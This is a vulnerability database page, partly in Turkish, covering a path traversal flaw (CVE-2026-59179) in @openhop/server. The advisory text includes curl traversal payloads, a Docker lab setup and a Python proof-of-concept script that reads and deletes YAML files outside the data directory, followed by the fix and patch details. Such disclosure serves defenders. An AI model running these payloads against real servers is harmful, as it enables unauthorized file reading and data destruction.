CVE Listesine Dön
CVE-2026-59179

@openhop/server: Path Traversal in Flow ID File Operations

CVSS Skor

8.3

EPSS İhtimal

—

Risk Skoru

0.8

Yayın

1 ay önce

Resmî yama doğrulandı

Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.

Envanterimdeki Etkisi

Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.

Oturum kontrol ediliyor…

Zafiyet Açıklaması

DayBreach CVE AI Araştırması

CVE-2026-59179 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.

## Path Traversal in Flow ID File Operations ### Summary `@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**. ### Details `FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`: ```ts // packages/server/src/store.ts:52-53 private filePath(id: string): string { return join(this.dir, `${id}.yaml`) } ``` This result is consumed by two sinks: - **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')` - **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))` The `id` value originates from unauthenticated Fastify HTTP route parameters: - `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335 - `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541 The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory. Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally. **Full data-flow (read path):** 1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`) 2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`) 3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`) 4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`) 5. Server responds HTTP 200 with YAML-parsed JSON body **Full data-flow (delete path):** 1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`) 2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`) 3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`) 4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`) 5. Server responds HTTP 204 ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # Run with HOST=0.0.0.0 (default in the Dockerfile ENV) docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 ``` The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets. **Attack 1 — Read file outside flow store:** ```bash curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim' ``` Expected response: ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"} ``` **Attack 2 — Delete file outside flow store:** ```bash curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me' ``` Expected response: ```http HTTP/1.1 204 No Content ``` Verify deletion: ```bash docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted' # Output: deleted ``` **Automated PoC script:** ```bash python3 poc.py 127.0.0.1 8799 ``` **Recommended fix:** ```diff --- a/packages/server/src/store.ts +++ b/packages/server/src/store.ts +const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/ + private filePath(id: string): string { + if (!FLOW_ID_PATTERN.test(id)) { + throw new Error('Invalid flow id') + } return join(this.dir, `${id}.yaml`) } ``` ### Impact This is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H). **Affected parties:** - **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`. - **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication. An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22) # # Build context: the repository root (naorsabag/openhop) # Usage: # docker build -f vuln-001/Dockerfile -t openhop-vuln-001 . # docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001 # # Data layout inside the container: # /data/flows/ <- OPENHOP_DATA_DIR (the configured flow store) # /data/victim.yaml <- OUTSIDE the flow store (path traversal read target) # /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target) # # The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim", # so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml. FROM node:22-alpine WORKDIR /app # Copy package manifests so npm can resolve workspace dependency graph. COPY package*.json ./ COPY packages/server/package*.json packages/server/ COPY packages/shared/package*.json packages/shared/ COPY packages/cli/package*.json packages/cli/ COPY packages/web/package*.json packages/web/ # Copy TypeScript configs and source files BEFORE npm install. # The @openhop/server package has a "prepare" lifecycle that runs # `tsc && esbuild` during npm install, so all sources must be present. COPY tsconfig.base.json ./ COPY packages/server/tsconfig*.json packages/server/ COPY packages/server/src/ packages/server/src/ COPY packages/shared/src/ packages/shared/src/ # Install all workspace dependencies. # The @openhop/server prepare script will compile to dist/server.js. # We run the server via tsx (direct TypeScript), so the compiled output # is not required at runtime but the prepare step must not fail. RUN npm install # Set up the data directory layout for the PoC. # /data/flows/ -> configured as OPENHOP_DATA_DIR (the "safe" directory) # /data/victim.yaml -> outside the store; represents a sensitive file that # MUST NOT be reachable via the API without sanitization RUN mkdir -p /data/flows && \ printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file lives outside the configured flow store directory\n flow:\n nodes:\n - id: a\n label: Sensitive Data\n' \ > /data/victim.yaml && \ printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: DELETE_TARGET_FILE\n flow:\n nodes:\n - id: b\n label: Delete Target\n' \ > /data/delete-me.yaml # Server listens on 8799 inside the container. EXPOSE 8799 # OPENHOP_DATA_DIR constrains the flow store to /data/flows/. # HOST=0.0.0.0 makes the server reachable from outside the container. ENV OPENHOP_DATA_DIR=/data/flows ENV HOST=0.0.0.0 ENV PORT=8799 # Run the server via tsx (TypeScript runner; no compile step needed at runtime). CMD ["npx", "tsx", "packages/server/src/index.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22) Target: @openhop/server 0.3.5 / openhop CLI 0.3.6 VULN-001 — CVSS 8.3 High Vulnerability: FlowStore.filePath(id) at packages/server/src/store.ts:52 performs: return join(this.dir, `${id}.yaml`) with no sanitization on `id`. The route GET /api/flows/:id passes `req.params.id` (decoded by find-my-way via decodeURIComponent) directly to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in the URL is decoded to "../victim", causing path.join to escape the configured data directory. Attack Vectors: READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml Both routes are unauthenticated (routes.ts:306, 509). Usage: python3 poc.py [host] [port] python3 poc.py 127.0.0.1 8799 """ import http.client import json import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799 # URL-encoded payloads: %2F is a percent-encoded "/" character. # find-my-way treats ".." and "%2F" together as a single path segment # (no literal "/" split), then decodes the segment to "../victim". TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim" TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me" def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll until the OpenHop server returns any response on /api/flows.""" deadline = time.time() + timeout print(f"[*] Waiting for server at http://{host}:{port} ...") while time.time() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/api/flows") r = conn.getresponse() r.read() conn.close() print(f"[+] Server ready (HTTP {r.status} on /api/flows)") return True except Exception: time.sleep(1) return False def raw_http(method: str, host: str, port: int, path: str): """ Send an HTTP request with the path exactly as given — no normalization. http.client does NOT percent-decode or normalize the path string, so '..%2F' reaches the server verbatim and Fastify's router decodes it. """ conn = http.client.HTTPConnection(host, port, timeout=10) conn.request(method, path) resp = conn.getresponse() body = resp.read() conn.close() return resp.status, body def main() -> int: print("=" * 62) print("VULN-001 Path Traversal in OpenHop Flow ID File Operations") print("=" * 62) print(f"[*] Target : http://{HOST}:{PORT}") print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)") print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)") print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml") print() if not wait_for_server(HOST, PORT): print("[-] Server did not become ready within timeout. ABORT.") return 1 print() passed_read = False passed_delete = False # ── Attack 1: Read a file outside the configured flow store ───────── print("[*] Attack 1 — READ path traversal") print(f" Request : GET {TRAVERSAL_GET_PATH}") print(f" Decoded : id = ../victim") print(f" Resolves: path.join('/data/flows', '../victim.yaml')") print(f" = /data/victim.yaml (outside flow store)") status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") print(f" Body : {body_text[:600]}") if status == 200: try: data = json.loads(body_text) title = data.get("meta", {}).get("title", "") if "SECRET_OUTSIDE_FILE" in title: print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml") print(f" Leaked title field = {title!r}") passed_read = True else: print(f"[WARN] HTTP 200 but unexpected title: {title!r}") print(f" Full response: {data}") # Still count as read-traversal success if we got a valid flow back if "meta" in data or "flow" in data: print("[PASS] READ confirmed: path traversal returned a flow from outside store") passed_read = True except json.JSONDecodeError: print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}") else: print(f"[FAIL] Expected HTTP 200, got {status}") print() # ── Attack 2: Delete a file outside the configured flow store ──────── print("[*] Attack 2 — DELETE path traversal") print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}") print(f" Decoded : id = ../delete-me") print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')") print(f" = /data/delete-me.yaml (outside flow store)") status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH) body_text = body.decode("utf-8", errors="replace") print(f" Status : {status}") if body_text: print(f" Body : {body_text[:200]}") if status in (200, 204): print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store") passed_delete = True else: print(f"[FAIL] Expected HTTP 204, got {status}") # ── Summary ───────────────────────────────────────────────────────── print() print("=" * 62) if passed_read and passed_delete: print("[RESULT] PASS — Both read and delete path traversal exploited") return 0 elif passed_read: print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed") return 1 else: print("[RESULT] FAIL — Exploit did not succeed") return 2 if __name__ == "__main__": sys.exit(main()) ```

IMPACT — Etkilenen Ürünler ve Yazılımlar

Affected Products

The following products are affected by CVE-2026-59179 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.

IDVENDORPRODUCTACTION
1npm@openhop/server İncele
2npm@openhop/server İncele
Total Affected Vendor: 1|Products: 2

RED HAT CSAF/VEX — Ürün Etki Kontrolü

Red Hat bu CVE için henüz bir CSAF/VEX etki kaydı yayımlamamış. Bu durum “etkilenmiyor” anlamına gelmez.

SCORING — CVSS Çoklu Kaynak Skoru

CVSS Scores

The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
8.3CVSS 3.x—Vektör yayımlanmadıGitHub Advisory
0.0CVSS 4.0—Vektör yayımlanmadıGitHub Advisory

Yama ve İyileştirme Rehberi (Solution)

Solution & Remediation Advisory

Yama doğrulandı

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

gitlabnpm/@openhop/server0.3.6

GitLab Advisory düzeltilmiş sürüm: 0.3.6

gitlab

Upgrade to version 0.3.6 or above.

canonical

Upgrade to version 0.3.6 or above.

Etkilenen ürün ve sürümü yukarıdaki kaynak kanıtlarıyla doğrulayın.
İnternete açık servislerde erişimi kısıtlayın ve ağ segmentasyonu uygulayın.
Kanıtta belirtilen resmî güncellemeyi yalnızca eşleşen ürün ve sürüme uygulayın.
Sunucu günlüklerini ve ağ uçlarını anormal çalıştırma belirtileri için izleyin.

Public exploit ve aktif sömürü durumu

Doğrulanmış exploit istihbaratı

Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.

Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-59179 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-59179 weaknesses.

Saldırı Vektörü ve Erişilebilirlik Karakteristiği

ErişimAğ üzerinden
YetkiGerekmiyor
KullanıcıGerekiyor

Resmi Kaynaklar ve Danışma Bültenleri

CVSS Vektör Radar Grafiği

8.3 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.RequiredConfidentialityLowIntegrityHighAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
Attack VectorNetwork (Ağ)
Attack ComplexityLow (Düşük)
Privileges RequiredNone (Gerekmiyor)
User Interaction—
Confidentiality (Gizlilik)Low (Düşük)
Integrity (Bütünlük)High (Yüksek)
Availability (Erişilebilirlik)High (Yüksek)

Yama doğrulandı

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

Üreticiyi takip et

N
npm logo
npm

Zafiyet Türü (CWE & CAPEC)

İlgili Benzer Açıklar

Bu açığı API ile alın

Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.enginteksut.com.tr/api/v1/intel/cves/CVE-2026-59179"